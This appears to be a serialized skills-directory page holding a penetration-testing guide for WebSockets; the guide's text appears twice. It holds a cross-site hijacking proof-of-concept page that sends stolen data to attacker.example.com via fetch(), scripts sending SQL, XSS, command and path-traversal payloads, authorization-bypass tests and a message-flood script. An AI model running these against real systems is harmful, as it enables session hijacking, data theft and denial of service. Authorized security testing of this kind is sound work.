[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AER75R8DSRMZAD77GA23RB":3,"skill-same:01M6AER75R8DSRMZAD77GA23RB":105},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":45,"linkOnly":46,"markdownContent":47,"markdownBody":48,"frontMatter":49,"refName":64,"commitSha":65,"skillDirectory":66,"forksCount":67,"repositoryHtmlUrl":68,"repositoryHomepageUrl":69,"ownerHtmlUrl":70,"ownerBlogUrl":71,"ownerDescription":72,"updatedAt":73,"install":74,"resources":87},"01M6AER75R8DSRMZAD77GA23RB","exploiting-websocket-vulnerabilities",null,"Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-websocket-vulnerabilities\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44],"exploiting websocket vulnerabilities","vulnerabilities","t1055","real-time","websocket","burpsuite","web-security","injection","t1059","web-application-security","testing","owasp","penetration-testing","authentication","pr","web","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: exploiting-websocket-vulnerabilities\ndescription: Testing WebSocket implementations for authentication bypass, cross-site\n  hijacking, injection attacks, and insecure message handling during authorized security\n  assessments.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- websocket\n- web-security\n- owasp\n- real-time\n- burpsuite\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\n---\n\n# Exploiting WebSocket Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when the application uses WebSocket connections for real-time features\n- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools\n- For testing WebSocket API endpoints for authentication and authorization flaws\n- When evaluating real-time data streams for injection vulnerabilities\n- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering WebSocket testing\n- **Burp Suite Professional**: With WebSocket interception capability\n- **Browser DevTools**: Network tab for WebSocket frame inspection\n- **websocat**: Command-line WebSocket client (`cargo install websocat`)\n- **wscat**: Node.js WebSocket client (`npm install -g wscat`)\n- **Python websockets**: For scripting custom WebSocket attacks (`pip install websockets`)\n\n## Workflow\n\n### Step 1: Discover and Enumerate WebSocket Endpoints\n\nIdentify WebSocket connections in the application.\n\n```bash\n# Check for WebSocket upgrade in response headers\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n\n# Common WebSocket endpoint paths\nfor path in \u002Fws \u002Fwebsocket \u002Fsocket \u002Fsocket.io \u002Fsignalr \u002Fhub \\\n  \u002Fchat \u002Fnotifications \u002Flive \u002Fstream \u002Frealtime \u002Fapi\u002Fws; do\n  echo -n \"$path: \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Upgrade: websocket\" \\\n    -H \"Connection: Upgrade\" \\\n    -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n    -H \"Sec-WebSocket-Version: 13\" \\\n    \"https:\u002F\u002Ftarget.example.com$path\")\n  echo \"$status\"\ndone\n\n# Check for Socket.IO\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsocket.io\u002F?EIO=4&transport=polling\"\n\n# Check for SignalR\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsignalr\u002Fnegotiate\"\n\n# In browser DevTools:\n# Network tab > Filter: WS\n# Look for ws:\u002F\u002F or wss:\u002F\u002F connections\n# Examine the upgrade request and WebSocket frames\n```\n\n### Step 2: Test WebSocket Authentication\n\nVerify that WebSocket connections require proper authentication.\n\n```bash\n# Test connection without authentication\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\"\n# If connection succeeds without tokens, auth is missing\n\n# Test with expired\u002Finvalid token\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=invalid_or_expired_token\"\n\n# Test connection with stolen\u002Freplayed session\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_from_another_user\"\n\n# Test token in WebSocket URL parameter\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws?token=invalid_token\"\n\n# Test if authentication is only checked at connection time\n# Connect with valid token, then check if messages still work\n# after the token expires or the user logs out\n\n# Using Python for automated testing\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\n\nasync def test_no_auth():\n    try:\n        async with websockets.connect(\"wss:\u002F\u002Ftarget.example.com\u002Fws\") as ws:\n            print(\"Connected WITHOUT authentication!\")\n            # Try sending a message\n            await ws.send('{\"type\":\"get_data\",\"resource\":\"users\"}')\n            response = await ws.recv()\n            print(f\"Response: {response}\")\n    except Exception as e:\n        print(f\"Connection failed: {e}\")\n\nasyncio.run(test_no_auth())\nPYEOF\n```\n\n### Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)\n\nCheck if the WebSocket handshake is vulnerable to cross-site attacks.\n\n```bash\n# Check Origin header validation on WebSocket upgrade\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)\n# If 403: Origin validation is working\n```\n\n```html\n\u003C!-- Cross-Site WebSocket Hijacking PoC -->\n\u003C!-- Host on attacker-controlled server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Cross-Site WebSocket Hijacking\u003C\u002Fh1>\n\u003Cdiv id=\"messages\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F This connects to the target's WebSocket using the victim's cookies\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget.example.com\u002Fws\");\n\nws.onopen = function() {\n  console.log(\"WebSocket connected (using victim's session)\");\n  \u002F\u002F Request sensitive data through the WebSocket\n  ws.send(JSON.stringify({type: \"get_messages\", channel: \"private\"}));\n  ws.send(JSON.stringify({type: \"get_profile\"}));\n};\n\nws.onmessage = function(event) {\n  console.log(\"Data stolen: \" + event.data);\n  document.getElementById(\"messages\").innerText += event.data + \"\\n\";\n\n  \u002F\u002F Exfiltrate to attacker server\n  fetch(\"https:\u002F\u002Fattacker.example.com\u002Fcollect\", {\n    method: \"POST\",\n    body: event.data\n  });\n};\n\nws.onerror = function(error) {\n  console.log(\"WebSocket error: \" + error);\n};\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Test WebSocket Message Injection\n\nAssess WebSocket messages for injection vulnerabilities.\n\n```bash\n# Using wscat for manual message injection testing\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_token\"\n\n# Once connected, send test messages:\n\n# SQL injection in WebSocket message\n# > {\"action\":\"search\",\"query\":\"' OR 1=1--\"}\n\n# XSS payload in chat message\n# > {\"type\":\"message\",\"content\":\"\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\"}\n# > {\"type\":\"message\",\"content\":\"\u003Cimg src=x onerror=alert(1)>\"}\n\n# Command injection\n# > {\"action\":\"ping\",\"host\":\"127.0.0.1; whoami\"}\n\n# Path traversal\n# > {\"action\":\"read_file\",\"path\":\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"}\n\n# IDOR in WebSocket messages\n# > {\"action\":\"get_messages\",\"channel_id\":1}\n# > {\"action\":\"get_messages\",\"channel_id\":2}  (another user's channel)\n\n# Automated injection testing with Python\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nPAYLOADS = [\n    {\"action\": \"search\", \"query\": \"' OR 1=1--\"},\n    {\"action\": \"search\", \"query\": \"\u003Cscript>alert(1)\u003C\u002Fscript>\"},\n    {\"action\": \"search\", \"query\": \"{{7*7}}\"},\n    {\"action\": \"search\", \"query\": \"${7*7}\"},\n    {\"action\": \"read\", \"file\": \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"},\n    {\"action\": \"exec\", \"cmd\": \"; whoami\"},\n]\n\nasync def test_injections():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        for payload in PAYLOADS:\n            await ws.send(json.dumps(payload))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Payload: {json.dumps(payload)}\")\n                print(f\"Response: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"Timeout for: {json.dumps(payload)}\\n\")\n\nasyncio.run(test_injections())\nPYEOF\n```\n\n### Step 5: Test WebSocket Authorization and Rate Limiting\n\nCheck if message-level authorization and abuse controls are enforced.\n\n```bash\n# Test accessing other users' data via WebSocket\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nasync def test_authz():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=user_a_session\"}\n    ) as ws:\n        # Try accessing User B's private data\n        messages = [\n            {\"type\": \"subscribe\", \"channel\": \"user_b_private\"},\n            {\"type\": \"get_history\", \"user_id\": \"user_b_id\"},\n            {\"type\": \"admin_action\", \"action\": \"list_users\"},\n            {\"type\": \"send_message\", \"to\": \"admin\", \"as\": \"admin\"},\n        ]\n        for msg in messages:\n            await ws.send(json.dumps(msg))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Sent: {json.dumps(msg)}\")\n                print(f\"Received: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"No response for: {json.dumps(msg)}\\n\")\n\nasyncio.run(test_authz())\nPYEOF\n\n# Test rate limiting on WebSocket messages\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\nimport time\n\nasync def test_rate_limit():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        start = time.time()\n        for i in range(1000):\n            await ws.send(json.dumps({\n                \"type\": \"message\",\n                \"content\": f\"Flood message {i}\"\n            }))\n        elapsed = time.time() - start\n        print(f\"Sent 1000 messages in {elapsed:.2f} seconds\")\n        print(\"If no rate limiting, DoS is possible\")\n\nasyncio.run(test_rate_limit())\nPYEOF\n```\n\n### Step 6: Test WebSocket Encryption and Protocol Security\n\nVerify transport security and protocol-level protections.\n\n```bash\n# Check if WebSocket uses WSS (encrypted) or WS (plaintext)\n# WS (ws:\u002F\u002F) traffic can be intercepted by network attackers\n\n# Check for mixed protocols\n# Application on HTTPS but WebSocket on WS = insecure\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -oP \"ws:\u002F\u002F[^\\\"']+\"\n# Should only find wss:\u002F\u002F (encrypted WebSocket)\n\n# Test Sec-WebSocket-Protocol header handling\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Sec-WebSocket-Protocol: admin-protocol\"\n\n# Test for compression side-channel (CRIME-like attacks)\n# Check if Sec-WebSocket-Extensions includes permessage-deflate\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Sec-WebSocket-Extensions: permessage-deflate\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\" | grep -i \"sec-websocket-extensions\"\n# permessage-deflate with secrets in messages can leak data via compression\n\n# Test WebSocket connection persistence\n# Check if server implements proper timeouts and connection limits\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **WebSocket Handshake** | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |\n| **CSWSH** | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |\n| **Origin Validation** | Server-side check that the WebSocket upgrade request comes from a trusted origin |\n| **Message-level Authorization** | Verifying permissions for each WebSocket message, not just at connection time |\n| **WSS** | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |\n| **Socket.IO** | Popular WebSocket library with automatic fallback to HTTP long-polling |\n| **Ping\u002FPong Frames** | WebSocket keepalive mechanism; can be abused for timing attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | WebSocket interception, modification, and history analysis |\n| **wscat** | Command-line WebSocket client for manual testing |\n| **websocat** | Versatile command-line WebSocket client written in Rust |\n| **Browser DevTools** | Network tab WS filter for inspecting WebSocket frames |\n| **Socket.IO Client** | Testing Socket.IO-based WebSocket implementations |\n| **Python websockets** | Scripting automated WebSocket attack sequences |\n\n## Common Scenarios\n\n### Scenario 1: Chat Application CSWSH\nA real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.\n\n### Scenario 2: Trading Platform Message Injection\nA trading platform processes WebSocket messages containing order parameters. SQL injection in the `symbol` field of an order message allows extracting the entire order database through error-based SQLi.\n\n### Scenario 3: Missing Message Authorization\nA collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.\n\n### Scenario 4: Notification Channel IDOR\nA notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.\n\n## Output Format\n\n```\n## WebSocket Security Assessment Report\n\n**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)\n**Severity**: High (CVSS 8.1)\n**Location**: wss:\u002F\u002Ftarget.example.com\u002Fws\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### WebSocket Configuration\n| Property | Value |\n|----------|-------|\n| Protocol | WSS (encrypted) |\n| Library | Socket.IO 4.x |\n| Authentication | Cookie-based session |\n| Origin Validation | NOT ENFORCED |\n| Message Authorization | NOT ENFORCED |\n| Rate Limiting | NOT IMPLEMENTED |\n\n### Findings\n| Finding | Severity |\n|---------|----------|\n| CSWSH - No Origin validation | High |\n| Missing message-level authorization | High |\n| XSS via chat message injection | Medium |\n| No rate limiting on messages | Medium |\n| Channel IDOR (subscribe to any channel) | High |\n| WebSocket open after logout | Medium |\n\n### Impact\n- Private message exfiltration via CSWSH\n- Account impersonation through unauthorized message sending\n- Cross-channel data access affecting all users\n- DoS via message flooding (no rate limits)\n\n### Recommendation\n1. Validate the Origin header during WebSocket handshake\n2. Implement CSRF tokens in the WebSocket upgrade request\n3. Enforce authorization checks on every WebSocket message\n4. Sanitize all user input in WebSocket messages (prevent XSS\u002FSQLi)\n5. Implement message rate limiting per connection\n6. Invalidate WebSocket connections on logout or session expiration\n7. Use per-message authentication tokens rather than relying solely on the initial handshake\n```\n","# Exploiting WebSocket Vulnerabilities\n\n## When to Use\n\n- During authorized penetration tests when the application uses WebSocket connections for real-time features\n- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools\n- For testing WebSocket API endpoints for authentication and authorization flaws\n- When evaluating real-time data streams for injection vulnerabilities\n- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement covering WebSocket testing\n- **Burp Suite Professional**: With WebSocket interception capability\n- **Browser DevTools**: Network tab for WebSocket frame inspection\n- **websocat**: Command-line WebSocket client (`cargo install websocat`)\n- **wscat**: Node.js WebSocket client (`npm install -g wscat`)\n- **Python websockets**: For scripting custom WebSocket attacks (`pip install websockets`)\n\n## Workflow\n\n### Step 1: Discover and Enumerate WebSocket Endpoints\n\nIdentify WebSocket connections in the application.\n\n```bash\n# Check for WebSocket upgrade in response headers\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n\n# Common WebSocket endpoint paths\nfor path in \u002Fws \u002Fwebsocket \u002Fsocket \u002Fsocket.io \u002Fsignalr \u002Fhub \\\n  \u002Fchat \u002Fnotifications \u002Flive \u002Fstream \u002Frealtime \u002Fapi\u002Fws; do\n  echo -n \"$path: \"\n  status=$(curl -s -o \u002Fdev\u002Fnull -w \"%{http_code}\" \\\n    -H \"Upgrade: websocket\" \\\n    -H \"Connection: Upgrade\" \\\n    -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n    -H \"Sec-WebSocket-Version: 13\" \\\n    \"https:\u002F\u002Ftarget.example.com$path\")\n  echo \"$status\"\ndone\n\n# Check for Socket.IO\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsocket.io\u002F?EIO=4&transport=polling\"\n\n# Check for SignalR\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fsignalr\u002Fnegotiate\"\n\n# In browser DevTools:\n# Network tab > Filter: WS\n# Look for ws:\u002F\u002F or wss:\u002F\u002F connections\n# Examine the upgrade request and WebSocket frames\n```\n\n### Step 2: Test WebSocket Authentication\n\nVerify that WebSocket connections require proper authentication.\n\n```bash\n# Test connection without authentication\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\"\n# If connection succeeds without tokens, auth is missing\n\n# Test with expired\u002Finvalid token\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=invalid_or_expired_token\"\n\n# Test connection with stolen\u002Freplayed session\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_from_another_user\"\n\n# Test token in WebSocket URL parameter\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws?token=invalid_token\"\n\n# Test if authentication is only checked at connection time\n# Connect with valid token, then check if messages still work\n# after the token expires or the user logs out\n\n# Using Python for automated testing\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\n\nasync def test_no_auth():\n    try:\n        async with websockets.connect(\"wss:\u002F\u002Ftarget.example.com\u002Fws\") as ws:\n            print(\"Connected WITHOUT authentication!\")\n            # Try sending a message\n            await ws.send('{\"type\":\"get_data\",\"resource\":\"users\"}')\n            response = await ws.recv()\n            print(f\"Response: {response}\")\n    except Exception as e:\n        print(f\"Connection failed: {e}\")\n\nasyncio.run(test_no_auth())\nPYEOF\n```\n\n### Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)\n\nCheck if the WebSocket handshake is vulnerable to cross-site attacks.\n\n```bash\n# Check Origin header validation on WebSocket upgrade\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Origin: https:\u002F\u002Fevil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\"\n# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)\n# If 403: Origin validation is working\n```\n\n```html\n\u003C!-- Cross-Site WebSocket Hijacking PoC -->\n\u003C!-- Host on attacker-controlled server -->\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Ch1>Cross-Site WebSocket Hijacking\u003C\u002Fh1>\n\u003Cdiv id=\"messages\">\u003C\u002Fdiv>\n\u003Cscript>\n\u002F\u002F This connects to the target's WebSocket using the victim's cookies\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget.example.com\u002Fws\");\n\nws.onopen = function() {\n  console.log(\"WebSocket connected (using victim's session)\");\n  \u002F\u002F Request sensitive data through the WebSocket\n  ws.send(JSON.stringify({type: \"get_messages\", channel: \"private\"}));\n  ws.send(JSON.stringify({type: \"get_profile\"}));\n};\n\nws.onmessage = function(event) {\n  console.log(\"Data stolen: \" + event.data);\n  document.getElementById(\"messages\").innerText += event.data + \"\\n\";\n\n  \u002F\u002F Exfiltrate to attacker server\n  fetch(\"https:\u002F\u002Fattacker.example.com\u002Fcollect\", {\n    method: \"POST\",\n    body: event.data\n  });\n};\n\nws.onerror = function(error) {\n  console.log(\"WebSocket error: \" + error);\n};\n\u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n```\n\n### Step 4: Test WebSocket Message Injection\n\nAssess WebSocket messages for injection vulnerabilities.\n\n```bash\n# Using wscat for manual message injection testing\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Cookie: session=valid_session_token\"\n\n# Once connected, send test messages:\n\n# SQL injection in WebSocket message\n# > {\"action\":\"search\",\"query\":\"' OR 1=1--\"}\n\n# XSS payload in chat message\n# > {\"type\":\"message\",\"content\":\"\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\"}\n# > {\"type\":\"message\",\"content\":\"\u003Cimg src=x onerror=alert(1)>\"}\n\n# Command injection\n# > {\"action\":\"ping\",\"host\":\"127.0.0.1; whoami\"}\n\n# Path traversal\n# > {\"action\":\"read_file\",\"path\":\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"}\n\n# IDOR in WebSocket messages\n# > {\"action\":\"get_messages\",\"channel_id\":1}\n# > {\"action\":\"get_messages\",\"channel_id\":2}  (another user's channel)\n\n# Automated injection testing with Python\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nPAYLOADS = [\n    {\"action\": \"search\", \"query\": \"' OR 1=1--\"},\n    {\"action\": \"search\", \"query\": \"\u003Cscript>alert(1)\u003C\u002Fscript>\"},\n    {\"action\": \"search\", \"query\": \"{{7*7}}\"},\n    {\"action\": \"search\", \"query\": \"${7*7}\"},\n    {\"action\": \"read\", \"file\": \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"},\n    {\"action\": \"exec\", \"cmd\": \"; whoami\"},\n]\n\nasync def test_injections():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        for payload in PAYLOADS:\n            await ws.send(json.dumps(payload))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Payload: {json.dumps(payload)}\")\n                print(f\"Response: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"Timeout for: {json.dumps(payload)}\\n\")\n\nasyncio.run(test_injections())\nPYEOF\n```\n\n### Step 5: Test WebSocket Authorization and Rate Limiting\n\nCheck if message-level authorization and abuse controls are enforced.\n\n```bash\n# Test accessing other users' data via WebSocket\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\n\nasync def test_authz():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=user_a_session\"}\n    ) as ws:\n        # Try accessing User B's private data\n        messages = [\n            {\"type\": \"subscribe\", \"channel\": \"user_b_private\"},\n            {\"type\": \"get_history\", \"user_id\": \"user_b_id\"},\n            {\"type\": \"admin_action\", \"action\": \"list_users\"},\n            {\"type\": \"send_message\", \"to\": \"admin\", \"as\": \"admin\"},\n        ]\n        for msg in messages:\n            await ws.send(json.dumps(msg))\n            try:\n                response = await asyncio.wait_for(ws.recv(), timeout=5)\n                print(f\"Sent: {json.dumps(msg)}\")\n                print(f\"Received: {response}\\n\")\n            except asyncio.TimeoutError:\n                print(f\"No response for: {json.dumps(msg)}\\n\")\n\nasyncio.run(test_authz())\nPYEOF\n\n# Test rate limiting on WebSocket messages\npython3 \u003C\u003C 'PYEOF'\nimport asyncio\nimport websockets\nimport json\nimport time\n\nasync def test_rate_limit():\n    async with websockets.connect(\n        \"wss:\u002F\u002Ftarget.example.com\u002Fws\",\n        extra_headers={\"Cookie\": \"session=valid_token\"}\n    ) as ws:\n        start = time.time()\n        for i in range(1000):\n            await ws.send(json.dumps({\n                \"type\": \"message\",\n                \"content\": f\"Flood message {i}\"\n            }))\n        elapsed = time.time() - start\n        print(f\"Sent 1000 messages in {elapsed:.2f} seconds\")\n        print(\"If no rate limiting, DoS is possible\")\n\nasyncio.run(test_rate_limit())\nPYEOF\n```\n\n### Step 6: Test WebSocket Encryption and Protocol Security\n\nVerify transport security and protocol-level protections.\n\n```bash\n# Check if WebSocket uses WSS (encrypted) or WS (plaintext)\n# WS (ws:\u002F\u002F) traffic can be intercepted by network attackers\n\n# Check for mixed protocols\n# Application on HTTPS but WebSocket on WS = insecure\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -oP \"ws:\u002F\u002F[^\\\"']+\"\n# Should only find wss:\u002F\u002F (encrypted WebSocket)\n\n# Test Sec-WebSocket-Protocol header handling\nwscat -c \"wss:\u002F\u002Ftarget.example.com\u002Fws\" \\\n  -H \"Sec-WebSocket-Protocol: admin-protocol\"\n\n# Test for compression side-channel (CRIME-like attacks)\n# Check if Sec-WebSocket-Extensions includes permessage-deflate\ncurl -s -I \\\n  -H \"Upgrade: websocket\" \\\n  -H \"Connection: Upgrade\" \\\n  -H \"Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\" \\\n  -H \"Sec-WebSocket-Version: 13\" \\\n  -H \"Sec-WebSocket-Extensions: permessage-deflate\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fws\" | grep -i \"sec-websocket-extensions\"\n# permessage-deflate with secrets in messages can leak data via compression\n\n# Test WebSocket connection persistence\n# Check if server implements proper timeouts and connection limits\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **WebSocket Handshake** | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |\n| **CSWSH** | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |\n| **Origin Validation** | Server-side check that the WebSocket upgrade request comes from a trusted origin |\n| **Message-level Authorization** | Verifying permissions for each WebSocket message, not just at connection time |\n| **WSS** | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |\n| **Socket.IO** | Popular WebSocket library with automatic fallback to HTTP long-polling |\n| **Ping\u002FPong Frames** | WebSocket keepalive mechanism; can be abused for timing attacks |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | WebSocket interception, modification, and history analysis |\n| **wscat** | Command-line WebSocket client for manual testing |\n| **websocat** | Versatile command-line WebSocket client written in Rust |\n| **Browser DevTools** | Network tab WS filter for inspecting WebSocket frames |\n| **Socket.IO Client** | Testing Socket.IO-based WebSocket implementations |\n| **Python websockets** | Scripting automated WebSocket attack sequences |\n\n## Common Scenarios\n\n### Scenario 1: Chat Application CSWSH\nA real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.\n\n### Scenario 2: Trading Platform Message Injection\nA trading platform processes WebSocket messages containing order parameters. SQL injection in the `symbol` field of an order message allows extracting the entire order database through error-based SQLi.\n\n### Scenario 3: Missing Message Authorization\nA collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.\n\n### Scenario 4: Notification Channel IDOR\nA notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.\n\n## Output Format\n\n```\n## WebSocket Security Assessment Report\n\n**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)\n**Severity**: High (CVSS 8.1)\n**Location**: wss:\u002F\u002Ftarget.example.com\u002Fws\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### WebSocket Configuration\n| Property | Value |\n|----------|-------|\n| Protocol | WSS (encrypted) |\n| Library | Socket.IO 4.x |\n| Authentication | Cookie-based session |\n| Origin Validation | NOT ENFORCED |\n| Message Authorization | NOT ENFORCED |\n| Rate Limiting | NOT IMPLEMENTED |\n\n### Findings\n| Finding | Severity |\n|---------|----------|\n| CSWSH - No Origin validation | High |\n| 